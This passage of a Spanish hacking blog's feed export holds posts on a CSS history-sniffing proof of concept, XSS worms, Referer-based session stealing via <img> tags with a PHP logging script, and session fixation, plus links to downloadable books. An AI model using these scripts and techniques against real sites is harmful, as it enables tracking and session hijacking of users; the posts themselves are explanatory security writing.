/&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;h1&gt;Proof of Concept for CSS Hystory Hack&amp;lt;/h1&gt;&lt;br /&gt;&amp;lt;br&gt;&amp;lt;br&gt;&amp;lt;center&gt;&lt;br /&gt;&amp;lt;a href="http://google.com" class="link1"&gt;Google&amp;lt;/a&gt;&amp;lt;br&gt;&lt;br /&gt;&amp;lt;a href="http://0verl0ad.blogspot.com" class="link2"&gt;0V3RL04D 1N TH3 N3T&amp;lt;/a&gt;&amp;lt;br&gt;&lt;br /&gt;&amp;lt;a href="http://unam.mx" class="link3"&gt;Primera web que me salió por google XD&amp;lt;/a&gt;&amp;lt;br&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;?php&lt;br /&gt;$file = $_SERVER['REMOTE_ADDR'].'.txt';&lt;br /&gt;$abierto = fopen($file, a);&lt;br /&gt;switch($_GET['visited']){&lt;br /&gt;case '1':&lt;br /&gt;fwrite($abierto," Google,");&lt;br /&gt;break;&lt;br /&gt;case '2':&lt;br /&gt;fwrite($abierto, "\nMi blog,");&lt;br /&gt;break;&lt;br /&gt;case '3':&lt;br /&gt;fwrite($abierto, "\nUnam.mx");&lt;br /&gt;break;&lt;br /&gt;}&lt;br /&gt;fclose($abierto);&lt;br /&gt;echo '&amp;lt;a href='.$_SERVER['REMOTE_ADDR'].'.txt&gt; Click aqui para ver tu historial &amp;lt;/a&gt;';&lt;br /&gt;?&gt;&lt;br /&gt;&lt;/code&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-5017749318626425842?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0verl0ad.blogspot.com/feeds/5017749318626425842/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2806641995089653786&amp;postID=5017749318626425842' title='3 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/5017749318626425842'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/5017749318626425842'/><link rel='alternate' type='text/html' href='http://0verl0ad.blogspot.com/2009/02/css-attacks-i-css-history-hack.html' title='CSS Attacks I : CSS History Hack'/><author><name>The X-C3LL</name><uri>http://www.blogger.com/profile/03278676556306484665</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://1.bp.blogspot.com/_uXtiiCW6OCQ/SeO-V5l87xI/AAAAAAAAACM/Dj4wqobzFxE/S220/rorschach.sized.jpg'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2806641995089653786.post-6699570025387350223</id><published>2009-02-16T11:37:00.002+01:00</published><updated>2009-02-16T11:51:30.945+01:00</updated><title type='text'>Otra vez en ON</title><content type='html'>Saludos lectores... (si es que tengo alguno XD).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  Cierto es que he descuidado bastante el blog, si bien las circunstancias se escapan del objetivo del posts (lo siento), sí que voy a pedir disculpas a las pocas personas que leían algo de aquí y que dejaron de leer por mis propios problemas.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  Ahora he vuelto a publicar aquí, eso sí cambiando ciertas cosas, como mi cambio de nick. En principio no sé muy bien con quien continuar publicando, pero llevo un par de días volviendo a leer toda la movida que se montó a finales de verano/principio de otoño con el tema del clickjacking (Menuda semana me dió mi bibliotecario preferido AKA Lix; por cierto tengo ganas de volver a hablar contigo, he tenido que suplirte por multis con seth y plaga, pero no es lo mismo que tus charlas repletas de links XDDD). Sí aquel tema que se propagó como el fuego en gasolina por todos los blogs. Algunos dirán que es materia ya conocida... pero a día de hoy seguimos haciendo papers sobre SQL injection y también es tema ya trabajado desde hace años.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  Bueno, la cuestion es que en dos días que estaba releyendo referencias que me dió Lix, y hablando con S e t h, resulta que ahora el clickjacking ha sido incluido en una categoría de ataque denominada "CSS Attacks" (Si sí, CSS de Hojas Estilo Cascada) por algunos autores, y bueh leyendo por ahí he seguido investigando esto de los ataques utilizando CSS. Así que estaba pensando en hacer un ciclo de publicaciones (tres  o cuatro) similar al que ya realicé hace tiempo sobre el protocolo HTTP, ya que en español apenas he encontrado unas pocas referencias y las explicaciones son muy simplesm (prometo poner PoCs)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  Otra idea que he tenido al observar códigos de malwares en JavaScript y XSS es la idea de publicar un par más de formas de realizar bypassing a filtros (algunas formas descubiertas por experiencia propia y otras sacadas de sources de otras personas), además de hacer una CheatSheet como recopilación esquematizada de todos los expuestos en el blog.&lt;br /&gt;&lt;br /&gt;  Y por último, quisiera saber si hay lectores que sigan el blog, así que por favor si estás leyendo esto (de aquí hasta el 16 de Marzo) mandame un mail a mi dirección (Camaleon__81 [\at/] Hotmail.com) o postea en este mismo thread. También quisiera saber qué es lo que más te gusta del blog y qué temas quieres que tratemos de aquí a los próximos meses (S e t h SQL no me lo pidas que ya te conozco :P, hay mucho en la red sobre eso)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Byt3z&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-6699570025387350223?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0verl0ad.blogspot.com/feeds/6699570025387350223/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2806641995089653786&amp;postID=6699570025387350223' title='7 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/6699570025387350223'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/6699570025387350223'/><link rel='alternate' type='text/html' href='http://0verl0ad.blogspot.com/2009/02/otra-vez-en-on.html' title='Otra vez en ON'/><author><name>The X-C3LL</name><uri>http://www.blogger.com/profile/03278676556306484665</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://1.bp.blogspot.com/_uXtiiCW6OCQ/SeO-V5l87xI/AAAAAAAAACM/Dj4wqobzFxE/S220/rorschach.sized.jpg'/></author><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2806641995089653786.post-1357623662655051971</id><published>2009-02-16T03:24:00.002+01:00</published><updated>2009-02-16T03:31:53.647+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='XSS'/><title type='text'>XSS Woms: El terror de las redes sociales</title><content type='html'>Hoy vamos a hablar de los XSS Worms, un nuevo peligro en la red que combina una de las vulnerabilidad es más comunes que podemos encontrar y un vector de propagación de una magnitud calificada en algunos casos como "mayor que el envio de mails entre listas de correo".&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;   En una red donde encontramos una gran cantidad de vulnerabilidad es de tipo XSS (algunos auditores estiman de porcentajes cercanos al 80%) en aplicaciones web, no es de extrañar que también podamos encontrarlos en las famosas "redes sociales". Las redes sociales son uno de los proyectos con más éxito de la actualidad, con cifras astronómicas (véase los más de 180 millones de usuarios que se estiman que tiene Myspace), consistente en que un usuario tiene un espacio personal, con su perfil, subida de fotos suyas, etc.. y un listado de amigos a los que agrega y con los que mantiene una interrelación a través de la red.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  Esta interrelación con esos "amigos" no queda ahí, ya que cuando visitamos los perfiles de nuestros amigos, podemos ver sus amigos (en la mayoría de redes) y al entrar al de alguno de ellos los amigos de sus amigos... y así sucesivamente podemos tener una basta colección de perfiles visitados. Desconozco el número de amigos de promedio qeu suele tener cada usuario, pero lo que sí es seguro que si aplicamos la exponencialida d de poder visitar los perfiles de otros usuarios hablamos de cifras indudablemente de una magnitud increíble, y podemos acceder a ellas con un simple click...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  Volviendo  a la parte que nos interesa, si encontramos un campo vulnerable a XSS permanente, tal como puede ser el nombre, la descripción, el título de una foto o algun otro que aparezca en el perfil que tus amigos y otras personas ven, podríamos "atacar" a todas esas personas.&lt;br /&gt;&lt;br /&gt;  Muchas personas estarán pensando en un cookie stealing a gran escala, pero siento deciros que entonces hablaríamos de la explotación prototípica que hacemos de los xss, a parte, de que estas redes ya incorporan sistemas de sesiones (no pongo la mano en el fuego, pero creo que por ejemplo tuenti ya las usa) en los cuales, la asignación de un identificador (ID) se realiza a partir de funciones de tiempo, por lo cual probablemente nos sea de poca utilidad. Pero como bien acabo de decir, esto sería un uso vulgar y común de un XSS y que no aporta nada nuevo, pero... ¿Y si usaramos el XSS como un vehículo de propagación y lanzamiento de algún payload? Y si por ejemplo... ¿Hacemos que cada persona que mire tu perfil se "infecte" y agregue a su perfil también el código malicioso?&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  Bien bien, en esto consisten los XSS Worms, en difundirse  a través de los visitantes de tu perfil y al mismo tiempo introducir algún payload (P.e.: poner un lnk de descarga de un troyano a través de la simulación de que es el propio dominio que requiere la instalación de algún objeto, mandar MPs con SPAM, explotar alguna vulne de los navegadores, etc...).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  Los XSS Worms tienen una velocidad de propagación muy alta, aquí os dejo un screenshoot de un gráfico de la propagación de Samy, el más famoso XSS worm que atacó la red de Myspace:&lt;img src="http://ha.ckers.org/images/samy-worm.gif"&gt;&lt;br /&gt;La propagación está basada en el fenómeno que ya he comentado antes, el hecho de que si yo (individuo A) tengo coloco en mi perfil el código malicioso, si  7 personas ven mi perfil en el último cuarto de hora (individuos A'), ellos tambíen quedarán infectados. Si en el siguiente cuarto de hora, el perfil de esas siete personas, es observador por otras siete personas (individuos A'' ), tendremos que en media hora tendremos un total de infectados (TI), de:&lt;br /&gt;&lt;br /&gt;Ti = ( A' )2 + A' =&gt; Ti = 56&lt;br /&gt;&lt;br /&gt;    Como vemos, en el supuesto de 7 personas (que incluso podríamos considerarlo como un promedio bajo de visitas recibidas en un cuarto de hora) estamos hablando de que en sólo media hora tenemos 56 personas infectadas... imaginad cuando pasen 12 horas la cantidad de gente infectada que existiría. Es por ello, que Samy marcó un hito en la historia convirtiendose en el malware con la velocidad de propagación más rapida de toda la historia.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;   Ahora vayamos al meollo de las cosas, ¿en qué consiste un XSS Worms?. Un worm de este tipo, suele tener un source suele tener dos grandes apartados. El primero de ellos, es la parte encargada de la infección del visitante, consistente normalmente en un código en AJAX cuyo objetivo es que cuando el visitante ejecuta el código malicoso en su navegador, se envíe desde este una petición de tipo POST que agregue en el formulario vulnerable a XSS el código malicioso del worm, así tendremos asegurada la propagación de los A' hacia los A'' y de estos a los A''' y así sucesivamente.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;   La otra parte es el payload. Un payload, en términos de virus (e incluso en exploits, por ejemplo cuando conseguimos shell explotando un BoF) se trata de los efectos malificiosos que provoca. Un efecto devastador, (a parte de los payloads que podemos imaginar) es la gran cantidad de tráfico que podemos generar con nuestro gusano. Y por gran cantidad, estamos hablando de llegar a producir denegaciones de servicios provocadas por los recursos consumidos.  &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;   Otra característica a tener en cuenta a la hora de programar un worm es el uso de tecnicas de ofuscación de código y bypass para saltar los filtros... a parte de tener portabilidad en el mayor número de navegadores posibles, de esta forma la probabilidad de infectar usuarios es de 98 sobre cada 100. Por último todo esto debe de venir acompañado de un bajo peso. En este sentido, navegando por uno de esos links que llegan a mis manos en las multiconversac iones que mantengo con S e t h y Plaga ( en las cuales normalmente siempre sacamos algo de provecho (véase hacer este pequeño paper))  encontré cierto concurso de Ha.ckers.org que ganaron Giorgio Maone and Sirdarckcat con un XSS Worm de 161 bytes.&lt;br /&gt;&lt;br /&gt;   En conclusión, podemos decir que nunca hay que menospreciar un XSS, puesto que podemos lograr mil cosas, desde subir una XSS Shell, robos de identidad a gran escala,  hasta lograr un DoS en sites "relativamente importantes", tal y como son hoy en día las redes sociales.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-1357623662655051971?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0verl0ad.blogspot.com/feeds/1357623662655051971/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2806641995089653786&amp;postID=1357623662655051971' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/1357623662655051971'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/1357623662655051971'/><link rel='alternate' type='text/html' href='http://0verl0ad.blogspot.com/2009/02/xss-woms-el-terror-de-las-redes.html' title='XSS Woms: El terror de las redes sociales'/><author><name>The X-C3LL</name><uri>http://www.blogger.com/profile/03278676556306484665</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://1.bp.blogspot.com/_uXtiiCW6OCQ/SeO-V5l87xI/AAAAAAAAACM/Dj4wqobzFxE/S220/rorschach.sized.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2806641995089653786.post-6155524156237824007</id><published>2008-11-30T22:07:00.000+01:00</published><updated>2008-11-30T22:08:21.596+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='LINQ'/><title type='text'>LINQ in Action 2008</title><content type='html'>LINQ, una de las grandes novedades de la nueva generación de tecnologías de Microsoft, nos permite a los desarrolladores de C# y VB realizar consultas de forma nativa sobre cualquier colección de datos.&lt;br&gt;&lt;br&gt;&lt;hr&gt;&lt;div align="center"&gt;&lt;img src="http://xs233.xs.to/xs233/08480/linq829.png" alt="" border="0"&gt;&lt;/div&gt;&lt;div align="center"&gt;&lt;a href="http://rapidshare.com/files/163391130/Manning_-_LINQ_in_Action__Enero_2008_.pdf" target="_blank"&gt;&lt;span style="color: orange;"&gt;&lt;span style="font-size: 20pt; line-height: 1.3em;"&gt;&lt;b&gt;LINQ in Action 2008&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;hr&gt;&lt;br&gt;Salu2&lt;br&gt;&lt;br&gt;PD: Como toda buena información, está en inglés, y mucho me temo, poca encontrarás en español, y más que sea tan completa.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-6155524156237824007?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0verl0ad.blogspot.com/feeds/6155524156237824007/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2806641995089653786&amp;postID=6155524156237824007' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/6155524156237824007'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/6155524156237824007'/><link rel='alternate' type='text/html' href='http://0verl0ad.blogspot.com/2008/11/linq-in-action-2008.html' title='LINQ in Action 2008'/><author><name>Mace Windu</name><uri>http://www.blogger.com/profile/16629780086210916617</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://4.bp.blogspot.com/_1FbP8V2e4r8/SLrLfbwybaI/AAAAAAAAAA8/TbziVm3IC6w/s1600-R/winduwebcopiaip0.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2806641995089653786.post-3371637474924798095</id><published>2008-11-27T20:34:00.003+01:00</published><updated>2008-11-27T21:22:01.633+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Otras Vulnerabilidades'/><category scheme='http://www.blogger.com/atom/ns#' term='Técnicas'/><category scheme='http://www.blogger.com/atom/ns#' term='Session Hijacking'/><title type='text'>Universal Hijacking by &lt;img&gt; (GET Method)</title><content type='html'>&lt;style&gt;code{ color: lime; }&lt;/style&gt;Por Vengador de las Sombras (F.O.S. TeaM)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  Saludos a todos!&lt;br /&gt;&lt;br /&gt;Bueno... antes de empezar, quiero decir que no he visto por ningun lado nada referente a esta técnica, pero en mi opinión es más que probable que haya alguna publicación donde aparezca algo... si alguien encuentra algún link donde ya hablen de esto, por favor posteadlo.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  El tema en principio sería el poder robar sesiones en sistemas que usen los identificadores en variables que se introduzcan por método GET. La idea original me ha surgido mientras testeaba una web, estaba observando las cabeceras HTTP y observé que al cargar las imágenes se mostraba una cabecera de petición GET a dicha imagen, y que aparecía el campo "Referer" la URL http://example.org/index.php?id=1234. Bien, esto es una cosa obvia que todo el mundo conoce... pero bueno, mi cabeza empezó a maquinar una idea... (si, lo que todos estais pensando).&lt;br /&gt;&lt;br /&gt;   El caso es que se me ocurrió aplicar la técnica de explotación de los XSRF (la de &amp;lt;img src=http://example.org/index.php?acion_ha_realizar&gt;) para apuntar a un  script php nuestro, donde guardaríamos el Referer ($_SERVER['HTTP_REFERER']). &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  Para probar, me hice un pequeño PoC en LocalHost. Primero hice un test.php cuyo contenido era únicamente &amp;lt;img src=/stealer.php&gt;. Y otro archivo con el siguiente source:&lt;br /&gt;&lt;code&gt;&lt;br /&gt;&amp;lt;?php&lt;br /&gt;$m = fopen("referer.txt","w+");&lt;br /&gt;$texto = $_SERVER['HTTP_REFERER'];&lt;br /&gt;fwrite($m,$texto);&lt;br /&gt;?&gt;&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Cuando ya tenía el escenario preparado, procedí a entrar a http://localhost/test.php?session=12345 y esta una de las cabeceras que obtuve:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;&lt;br /&gt;GET /stealer.php HTTP/1.1&lt;br /&gt;Host: localhost&lt;br /&gt;User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4&lt;br /&gt;Accept: image/png,image/*;q=0.8,*/*;q=0.5&lt;br /&gt;Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3&lt;br /&gt;Accept-Encoding: gzip,deflate&lt;br /&gt;Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7&lt;br /&gt;Keep-Alive: 300&lt;br /&gt;Connection: keep-alive&lt;br /&gt;Referer: http://localhost/test.php?session=12345&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Y al abrir el archivo referer.txt aparecía la URL http://localhost/test.php?session=12345 , luego el ataque tuvo éxito.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  Este ataque (que no creo haber descubierto, por favor si alguien tiene alguna refernecia sobre este ataque que la postee) en principio afectaría a todo tipo de web, blog, foro, etc que dejara postear tags tipo &amp;lt;img&gt; o el BBcode [img], ya que en el caso de un foro por ejemplo, podríamos ponernos una firma que apuntase a nuestro robador de sesiones....&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;   Si existe algún tipo de error, por favor también posteadlo.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-3371637474924798095?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0verl0ad.blogspot.com/feeds/3371637474924798095/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2806641995089653786&amp;postID=3371637474924798095' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/3371637474924798095'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/3371637474924798095'/><link rel='alternate' type='text/html' href='http://0verl0ad.blogspot.com/2008/11/universal-hijacking-by-hotlinking-get.html' title='Universal Hijacking by &amp;lt;img&gt; (GET Method)'/><author><name>The X-C3LL</name><uri>http://www.blogger.com/profile/03278676556306484665</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://1.bp.blogspot.com/_uXtiiCW6OCQ/SeO-V5l87xI/AAAAAAAAACM/Dj4wqobzFxE/S220/rorschach.sized.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2806641995089653786.post-496929853647150742</id><published>2008-11-20T19:33:00.003+01:00</published><updated>2008-11-20T20:43:25.052+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Session Hijacking'/><title type='text'>Session Hijacking &amp; Fixation Method</title><content type='html'>&lt;style&gt;code{color:lime;}&lt;/style&gt;&lt;br /&gt;Por Vengador de las Sombras&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  Hace ya tiempo Lix me recomendó hacer algún tipo de publicación que hablara de Session Fixation hará como dos o tres semanas... La cosa es que he estado demasiado liado con la universidad y no he tenido tiempo apenas para ponerme a escribir unas líneas sobre el tema y documentarme más (como ya sabes Lix, mil gracias por esos maravillosos links que me expendes).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  Bueno... tras esta pequeña introducción pasemos a aclarar conceptos, empezemos por "Session". Una sesión es una interrelación entre un cliente y un servidor basada en un conjunto de caracteres que identifican a dicho cliente, haciendo que se pueda asociar informacion a ese identificador. Por ejemplo, para no tener que estar logeandonos contínuamente, podemos usar un sistema de sesiones que realicen un logeo automático.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  El servidor guarda un archivo temporal con la cadena identificadora, y cada vez que compruebe la sesion del cliente (ya sea porque se la dá por una variable de tipo GET, o bien porque se encuentra en una cookie) comprobará esos archivos... Ya comentemos hace tiempo sobre estos archivos temporales, cuando comenté la idea de infectar esos archivos para usarlos a modo de WebShell (idea recogida de una publicación de Hondamena en vZack Forum).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  ¿Y qué es Session Hijacking?, llamamos Session Hijacking a cualquier método o técnica que tenga como fin el conseguir la session de una víctima. Las formas de conseguir este objetivo son variadas, como por ejemplo sniffeando tráfico (si conseguimos interceptar las peticiones a un host, podremos obtener el identificador de sesion). Hablando de esta forma, que podríamos definirla como "Interceptación", hemos de decir que cuando las sesiones están en variables de tipo GET (es decir, se introducen a través de la ULR) están mucho más expuestas a este tipo de ataque. Otro método menos conocido, probablemente por su dificultad o escasez, es el de "Predicción", basado en realizar un ataque por fuerza bruta hasta obtener una sesión válida... Puede parecer un ataque poco efectivo... pero si se convina con cualquier otra vulnerabilidad obtenemos un ataque plausible. Es el caso del bug que hubo en los foros SMF 1.1.5, en el cual por culpa de los servidores Win32 y de la función rand() se podría "predecir" (tras realizar una fuerza bruta) la sessión del admin y así resetear el password...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;   Los XSS suelen ir asociados también al robo de sesiones, aunque no son un método en sí, juegan un papel importante tanto en la interceptación (por la posibilidad de, por ejemplo, robar una cookie) como en Session Hijacking, cosa que ya veremos.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  Y ahora es cuando viene el método sobre el que vamos a centrar: Session Fixation. En los anteriores métodos siempre se ha desconocido el identificador del cliente y lo que se ha buscado es tratar de averiguar cuál es. En esta ocasión, se cambia la mentalidad y lo que se busca es hacer que el cliente se logee con una sesión que &lt;b&gt;ya conocemos&lt;/b&gt;. La ventaja de este método, es que cambiamos el identificador del cliente por uno que conocemos, por lo que cuando nosotros entremos a esa sesión, tendríamos sus mismos privilegios... &lt;br /&gt;&lt;br /&gt;  Un pequeño PoC para sintetizar brevemente el concepto en sí, puede ser el que aparece en el Blog de Chrish Shiflett, en el cual se muestra el siguiente código fuente:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;&amp;lt;?php &lt;br /&gt;session_start(); &lt;br /&gt;&lt;br /&gt;if (!isset($_SESSION['count'])) &lt;br /&gt;{ &lt;br /&gt;   $_SESSION['count'] = 0; &lt;br /&gt;} &lt;br /&gt;else &lt;br /&gt;{ &lt;br /&gt;   $_SESSION['count']++; &lt;br /&gt;} &lt;br /&gt; &lt;br /&gt;echo $_SESSION['count']; &lt;br /&gt;?&gt;&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;    Si guardan este ejemplo como /session.php y acceden a él a través de /session.php?PHPSESSID=1234, la primera vez veremos un "0", pero si volvemos entrar más veces, podemos observar cómo el número va aumentando. Ahora bien, si tras hacer esto, probamos a entrar a esa misma URL desde otro ordenador... podremos observar que no aparece "0". De esta forma se puede demostrar que esa sessión existe, y que hemos entrado en ella. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    Ahora hablemos de como explotar este tipo de fallos. Si la identificación se establece a través de una variable tipo GET, podemos usar ingeniaría social + un iframe oculto, o bien realizar una redirección, ya sea por Meta Refresh o directamente de protocolo (en PHP con un  &lt;br /&gt;header('Location: http://host/index.php?PHPSESSID=caracteres');). Si en cambio se trabaja con Cookies... la cosa se complica, pero no demasiado.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  Si encontramos un XSS en el host vulnerable, podríamos intentar colar un JavaScript que cree una cookie con la session que nosotros queramos... Pero el problema es que muchos filtros (dificiles de bypassear) no permiten introducir los tags de script, así que podemos recurrir al Meta Tag set-Cookie [1].&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Bueno hasta aqui esta pequeña publicación... decir que no he querido extenderme mucho porque Lix tenía pensado publicar algo al respecto de este tema, y no quiero chafarle su paper.&lt;br /&gt;&lt;br /&gt;&lt;hr&gt;&lt;br /&gt;Referencias:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.html-reference.com/META_httpequiv_setcookie.asp"&gt;[1]Aceca del Meta Tag Set-cookie&lt;/a&gt;&lt;br /&gt;&lt;a href="http://shiflett.org/articles/session-hijacking"&gt;Session Hijacking&lt;/a&gt;&lt;br /&gt;&lt;a href="http://shiflett.org/articles/session-fixation"&gt;Session Fixation&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-496929853647150742?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0verl0ad.blogspot.com/feeds/496929853647150742/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2806641995089653786&amp;postID=496929853647150742' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/496929853647150742'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/496929853647150742'/><link rel='alternate' type='text/html' href='http://0verl0ad.blogspot.com/2008/11/session-hijacking-fixation-method.html' title='Session Hijacking &amp; Fixation Method'/><author><name>The X-C3LL</name><uri>http://www.blogger.com/profile/03278676556306484665</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://1.bp.blogspot.com/_uXtiiCW6OCQ/SeO-V5l87xI/AAAAAAAAACM/Dj4wqobzFxE/S220/rorschach.sized.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2806641995089653786.post-9202989368712107372</id><published>2008-11-14T16:09:00.002+01:00</published><updated>2008-11-14T19:35:04.312+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Expression Blend'/><title type='text'>Recopilación de tutoriales</title><content type='html'>&lt;div class="post" id="msg_5776"&gt;Bueno, he encontrado varios tutoriales por la web que están bastante bien para iniciarse con Microsoft Expression Blend. Comparto con ustedes:&lt;br&gt;&lt;br&gt;&lt;hr&gt;&lt;div align="center"&gt;&lt;a href="http://rapidshare.com/files/163396987/Microsoft_Expression.rar" target="_blank"&gt;&lt;span style="color: orange;"&gt;&lt;span style="font-size: 20pt; line-height: 1.3em;"&gt;&lt;b&gt;Descarga (731KB)&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;hr&gt;&lt;br&gt;Salu2&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-9202989368712107372?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0verl0ad.blogspot.com/feeds/9202989368712107372/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2806641995089653786&amp;postID=9202989368712107372' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/9202989368712107372'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/9202989368712107372'/><link rel='alternate' type='text/html' href='http://0verl0ad.blogspot.com/2008/11/recopilacin-de-tutoriales.html' title='Recopilación de tutoriales'/><author><name>Mace Windu</name><uri>http://www.blogger.com/profile/16629780086210916617</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' 